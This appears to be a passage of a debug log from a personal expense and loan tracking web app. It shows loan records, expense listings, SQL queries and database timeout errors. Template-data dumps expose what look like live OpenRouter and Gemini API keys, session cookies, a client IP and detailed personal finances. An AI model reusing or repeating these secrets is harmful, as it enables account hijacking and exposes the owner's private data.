    starting_date: 2023-03-04T18:30:00.000Z,
    ending_date: 2026-02-01T18:30:00.000Z,
    principle_amount: 600000,
    no_of_emi: 36,
    interest_amount: 57111,
    loan_type: 'Home Loan',
    loan_provider: 'Slashash Tech',
    due_date: '5th',
    emi_amount: 18243,
    total_emi: 36,
    total_pending_emi: '4',
    total_remaining_amount: 72972,
    total_paid_amount: 583776,
    percentage_paid: '88.89'
  },
  {
    id: 11,
    loan_name: 'Fullerton India',
    starting_date: 2023-02-14T18:30:00.000Z,
    ending_date: 2028-03-14T18:30:00.000Z,
    principle_amount: 1015638,
    no_of_emi: 60,
    interest_amount: 379332,
    loan_type: 'Personal Loan',
    loan_provider: 'Fullerton India',
    due_date: '5th',
    emi_amount: 23109,
    total_emi: 60,
    total_pending_emi: '24',
    total_remaining_amount: 554616,
    total_paid_amount: 831924,
    percentage_paid: '60.00'
  },
  {
    id: 12,
    loan_name: 'Kotak Mahindra',
    starting_date: 2023-02-16T18:30:00.000Z,
    ending_date: 2027-01-16T18:30:00.000Z,
    principle_amount: 750000,
    no_of_emi: 48,
    interest_amount: 307000,
    loan_type: 'Personal Loan',
    loan_provider: 'Kotak Mahindra Bank',
    due_date: '2nd',
    emi_amount: 22031,
    total_emi: 48,
    total_pending_emi: '11',
    total_remaining_amount: 242341,
    total_paid_amount: 815147,
    percentage_paid: '77.08'
  },
  {
    id: 18,
    loan_name: 'IND Money',
    starting_date: 2023-08-14T18:30:00.000Z,
    ending_date: 2026-08-01T18:30:00.000Z,
    principle_amount: 155040,
    no_of_emi: 36,
    interest_amount: 37056,
    loan_type: 'Personal Loan',
    loan_provider: 'IND Money',
    due_date: '2nd',
    emi_amount: 5336,
    total_emi: 36,
    total_pending_emi: '5',
    total_remaining_amount: 26680,
    total_paid_amount: 165416,
    percentage_paid: '86.11'
  }
]
2026-03-13T06:47:13.864Z server-connect:router Serving templateView /expense/list
2026-03-13T06:47:13.864Z server-connect:app Executing action step identify
2026-03-13T06:47:13.864Z server-connect:app options: { provider: 'security' }
2026-03-13T06:47:13.864Z server-connect:output identity: 1
2026-03-13T06:47:13.864Z server-connect:app Executing action step restrict
2026-03-13T06:47:13.864Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-13T06:47:13.865Z server-connect:output restrict: undefined
2026-03-13T06:47:13.865Z server-connect:router Render template expense/list
2026-03-13T06:47:13.865Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/expense/list',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A%2B6RDqoa9LbNQEpJ%2BLSRBsA%3D%3D.uK3rccL1x8lYd5SFqDftT%2FqDTpEgqmYSOcezt6LG9mj%2Ba5HWXWj0bWdw89OXs8Z%2Bmpr0jCzAb5TXuHc15ZrTBeVWBoGd6ocOX35iz3eAvE9%2BENNmG2KbXEN0Y04fipXe1QjTp5iRCGoGKU7C4x9oyz2Eu%2Fftr2FdwEj%2B6M7FWBs%3D.GdSMYrKDlg%2FBMGjmRcFujoNDJj9jJc%2FDYBOyH3G6ekE; your_r_git.sid=s%3A5PiKAgd_owRIDVKAZ242MbQ1MogSg3T1.CeNuc%2F3jQPjd8M%2BkbEQKtCc2hThz94%2F3FnOOac67sJ0',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-14T06:45:32.065Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/expense/list',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/expense/list',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/expense/list',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A%2B6RDqoa9LbNQEpJ%2BLSRBsA%3D%3D.uK3rccL1x8lYd5SFqDftT%2FqDTpEgqmYSOcezt6LG9mj%2Ba5HWXWj0bWdw89OXs8Z%2Bmpr0jCzAb5TXuHc15ZrTBeVWBoGd6ocOX35iz3eAvE9%2BENNmG2KbXEN0Y04fipXe1QjTp5iRCGoGKU7C4x9oyz2Eu%2Fftr2FdwEj%2B6M7FWBs%3D.GdSMYrKDlg%2FBMGjmRcFujoNDJj9jJc%2FDYBOyH3G6ekE; your_r_git.sid=s%3A5PiKAgd_owRIDVKAZ242MbQ1MogSg3T1.CeNuc%2F3jQPjd8M%2BkbEQKtCc2hThz94%2F3FnOOac67sJ0',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-03-13T06:47:14.134Z server-connect:router Serving serverConnect /api/expense/list
2026-03-13T06:47:14.135Z server-connect:app Executing action step identify
2026-03-13T06:47:14.135Z server-connect:app options: { provider: 'security' }
2026-03-13T06:47:14.135Z server-connect:output identity: 1
2026-03-13T06:47:14.135Z server-connect:app Executing action step restrict
2026-03-13T06:47:14.135Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-13T06:47:14.136Z server-connect:router Serving serverConnect /api/masters/get-tags
2026-03-13T06:47:14.136Z server-connect:app Executing action step identify
2026-03-13T06:47:14.136Z server-connect:app options: { provider: 'security' }
2026-03-13T06:47:14.136Z server-connect:output identity: 1
2026-03-13T06:47:14.136Z server-connect:app Executing action step restrict
2026-03-13T06:47:14.136Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-13T06:47:14.136Z server-connect:output restrict: undefined
2026-03-13T06:47:14.136Z server-connect:app Executing action step select
2026-03-13T06:47:14.136Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'm_tags' },
    primary: 'id',
    joins: [],
    query: 'select `id`, `tag` from `m_tags`'
  }
}
2026-03-13T06:47:14.137Z server-connect:output restrict: undefined
2026-03-13T06:47:14.137Z server-connect:app Executing action step paged
2026-03-13T06:47:14.137Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'expense' },
    primary: 'id',
    joins: [ [Object], [Object] ],
    query: 'select `expense`.`invoice_number`, `expense`.`quantity`, `expense`.`purchase_date`, `expense`.`receipt_url`, `expense`.`remark`, `expense`.`amount`, `sc`.`subcategory_name` as `item_name`, `c1`.`name` as `unit` from `expense` inner join `sub_categories` as `sc` on `sc`.`id` = `expense`.`category_id` inner join `collections` as `c1` on `c1`.`id` = `expense`.`unit` where (`expense`.`amount` = ? or `sc`.`subcategory_name` like ? or `c1`.`name` like ?) order by `expense`.`purchase_date` DESC',
    orders: [ [Object] ],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-03-13T06:47:14.138Z server-connect:output list: [
  { id: 1, tag: 'Gadgets' },
  { id: 2, tag: 'Waste of money' },
  { id: 3, tag: 'Relax' },
  { id: 4, tag: 'Luxury' },
  { id: 5, tag: 'Needs' },
  { id: 6, tag: 'Swiggy' },
  { id: 7, tag: 'Zomato' },
  { id: 8, tag: 'Bills' },
  { id: 9, tag: 'EMIs' },
  { id: 10, tag: 'Blinkit' },
  { id: 11, tag: 'Instamart' }
]
2026-03-13T06:47:14.147Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 1955,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 1950 },
    current: 1,
    total: 79
  },
  data: [
    {
      invoice_number: 1239,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '189.00',
      item_name: 'Clothing',
      unit: 'Other'
    },
    {
      invoice_number: 1244,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '300.00',
      item_name: 'Gas Bill',
      unit: 'Other'
    },
    {
      invoice_number: 1237,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '95.00',
      item_name: 'App Subscription',
      unit: 'Other'
    },
    {
      invoice_number: 1238,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '348.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1240,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'fruits',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '72.00',
      item_name: 'Paneer',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '80.00',
      item_name: 'Paneer Masala',
      unit: 'Other'
    },
    {
      invoice_number: 1231,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '55.00',
      item_name: 'Milk',
      unit: 'Other'
    },
    {
      invoice_number: 1232,
      quantity: '2.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '210.00',
      item_name: 'Petrol',
      unit: 'Litres'
    },
    {
      invoice_number: 1233,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '585.00',
      item_name: 'Vegetables',
      unit: 'Other'
    },
    {
      invoice_number: 1234,
      quantity: '8.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '1432.00',
      item_name: 'HotWheels',
      unit: 'Piece'
    },
    {
      invoice_number: 1235,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '397.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1236,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '111.00',
      item_name: 'Online Order',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '118.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'Raw Chicken',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '30.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '120.00',
      item_name: 'Egg',
      unit: 'Other'
    },
    {
      invoice_number: 1243,
      quantity: '2.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '184.00',
      item_name: 'GoodKnight Liquid',
      unit: 'Piece'
    },
    {
      invoice_number: 1243,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '519.00',
      item_name: 'Pre workout muscle blaze',
      unit: 'Other'
    },
    {
      invoice_number: 1227,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '3818.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '20.00',
      item_name: 'Pani Puri',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '230.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1229,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '143.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1219,
      quantity: '2.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '210.00',
      item_name: 'Petrol',
      unit: 'Litres'
    },
    {
      invoice_number: 1220,
      quantity: '1.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '125.00',
      item_name: 'HotWheels World',
      unit: 'Other'
    },
    {
      invoice_number: 1221,
      quantity: '1.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '71.00',
      item_name: 'Vegetables',
      unit: 'Other'
    }
  ]
}
2026-03-13T06:47:16.142Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-03-13T06:47:16.142Z server-connect:app Executing action step identify
2026-03-13T06:47:16.142Z server-connect:app options: { provider: 'security' }
2026-03-13T06:47:16.142Z server-connect:output identity: 1
2026-03-13T06:47:16.142Z server-connect:app Executing action step restrict
2026-03-13T06:47:16.142Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-13T06:47:16.143Z server-connect:output restrict: undefined
2026-03-13T06:47:16.143Z server-connect:app Executing action step select
2026-03-13T06:47:16.143Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-03-13T06:47:16.143Z server-connect:output list: [
  { name: 'Litres', id: 1 },
  { name: 'KG', id: 2 },
  { name: 'Piece', id: 4 },
  { name: 'Pounds', id: 5 },
  { name: 'Other', id: 11 },
  { name: 'EMI', id: 12 },
  { name: 'Premium', id: 13 },
  { name: 'GM', id: 29 },
  { name: 'Packet', id: 30 },
  { name: 'Tablet', id: 31 },
  { name: 'Strip', id: 32 },
  { name: 'Full Plate', id: 33 },
  { name: 'Half Plate', id: 34 },
  { name: 'Meter', id: 35 },
  { name: 'Bottle', id: 36 },
  { name: 'Glass', id: 37 },
  { name: 'Plate', id: 58 },
  { name: 'HW Ride-ons', id: 177 }
]
2026-03-13T06:47:16.147Z server-connect:router Serving serverConnect /api/expense/last-invoice
2026-03-13T06:47:16.147Z server-connect:app Executing action step identify
2026-03-13T06:47:16.147Z server-connect:app options: { provider: 'security' }
2026-03-13T06:47:16.147Z server-connect:output identity: 1
2026-03-13T06:47:16.147Z server-connect:app Executing action step restrict
2026-03-13T06:47:16.147Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-13T06:47:16.147Z server-connect:output restrict: undefined
2026-03-13T06:47:16.147Z server-connect:app Executing action step single
2026-03-13T06:47:16.147Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object] ],
    params: [],
    table: { name: 'expense' },
    primary: 'id',
    joins: [],
    groupBy: [],
    query: 'select max(`invoice_number`) as `max_invoice` from `expense`'
  }
}
2026-03-13T06:47:16.148Z server-connect:output last_invoice: { max_invoice: 1244 }
2026-03-13T06:47:40.975Z server-connect:router Serving templateView /
2026-03-13T06:47:40.976Z server-connect:app Executing action step identify
2026-03-13T06:47:40.976Z server-connect:app options: { provider: 'security' }
2026-03-13T06:47:40.976Z server-connect:output identity: 1
2026-03-13T06:47:40.976Z server-connect:app Executing action step restrict
2026-03-13T06:47:40.976Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-13T06:47:40.976Z server-connect:output restrict: undefined
2026-03-13T06:47:40.976Z server-connect:app Executing action step restrict
2026-03-13T06:47:40.976Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-13T06:47:40.977Z server-connect:output restrict: undefined
2026-03-13T06:47:40.977Z server-connect:router Render template index
2026-03-13T06:47:40.977Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A%2B6RDqoa9LbNQEpJ%2BLSRBsA%3D%3D.uK3rccL1x8lYd5SFqDftT%2FqDTpEgqmYSOcezt6LG9mj%2Ba5HWXWj0bWdw89OXs8Z%2Bmpr0jCzAb5TXuHc15ZrTBeVWBoGd6ocOX35iz3eAvE9%2BENNmG2KbXEN0Y04fipXe1QjTp5iRCGoGKU7C4x9oyz2Eu%2Fftr2FdwEj%2B6M7FWBs%3D.GdSMYrKDlg%2FBMGjmRcFujoNDJj9jJc%2FDYBOyH3G6ekE; your_r_git.sid=s%3A5PiKAgd_owRIDVKAZ242MbQ1MogSg3T1.CeNuc%2F3jQPjd8M%2BkbEQKtCc2hThz94%2F3FnOOac67sJ0',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-14T06:45:32.065Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A%2B6RDqoa9LbNQEpJ%2BLSRBsA%3D%3D.uK3rccL1x8lYd5SFqDftT%2FqDTpEgqmYSOcezt6LG9mj%2Ba5HWXWj0bWdw89OXs8Z%2Bmpr0jCzAb5TXuHc15ZrTBeVWBoGd6ocOX35iz3eAvE9%2BENNmG2KbXEN0Y04fipXe1QjTp5iRCGoGKU7C4x9oyz2Eu%2Fftr2FdwEj%2B6M7FWBs%3D.GdSMYrKDlg%2FBMGjmRcFujoNDJj9jJc%2FDYBOyH3G6ekE; your_r_git.sid=s%3A5PiKAgd_owRIDVKAZ242MbQ1MogSg3T1.CeNuc%2F3jQPjd8M%2BkbEQKtCc2hThz94%2F3FnOOac67sJ0',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-13 07:30:10' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-13 07:30:10' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-13 09:06:10' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-13 09:06:10' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-13 09:33:10' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
